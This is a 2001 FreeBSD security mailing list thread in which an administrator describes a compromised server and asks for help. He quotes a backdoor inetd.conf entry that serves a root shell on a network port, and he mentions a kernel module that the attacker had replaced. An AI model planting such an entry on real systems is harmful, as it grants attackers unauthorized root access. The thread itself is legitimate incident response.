Date: Thu, 1 Nov 2001 11:35:40 -0500 (EST) From: Ralph Huntington <rjh@mohawk.net> To: <freebsd-security@FreeBSD.ORG> Subject: Re: strange inetd.conf entry Message-ID: <20011101113332.O79615-100000@mohegan.mohawk.net> In-Reply-To: <20011101101825.U79615-100000@mohegan.mohawk.net>
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Much thanks to all who replied. The joy module was replaced by a hacked version. I'm not sure what the hacked version does, but the box has been reloaded. -=r=- On Thu, 1 Nov 2001, Ralph Huntington wrote: > I did find this kernel module, but I have no idea what it is. I presume at > this point that the root shell acquired through inetd was for the purpose > of loading this module. Anyone recognize it? Anyone want it for analysis? > > hogan@klink:/etc# ll /usr/bin/joy > -r-xr-xr-x 1 root wheel 100 Jul 4 12:05 /usr/bin/joy > > hogan@klink:/etc# cat /usr/bin/joy > #!/bin/sh > # $FreeBSD: src/sys/modules/joy/joy.sh,v 1.5 1999/08/28 00:47:23 peter Exp $ > > kldload joy > > > hogan@klink:/etc# ll /modules/joy.ko > -r-xr-xr-x 1 root wheel 6755 Jul 4 12:05 /modules/joy.ko > > > On Thu, 1 Nov 2001, Ralph Huntington wrote: > > > I have that sinking feeling. I discovered this line at the end of > > inetd.conf on one of our servers: > > > > dlip stream tcp nowait root /bin/sh sh -i > > > > Looks like a root compromise. Sure enough, telnet'ing to the dlip port > > provides what *looks* like a root shell, but I don't seem to be able to do > > anything with it. Pretty mysterious. > > > > Can anyone offer a clue? Thanks in advance, Ralph > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message
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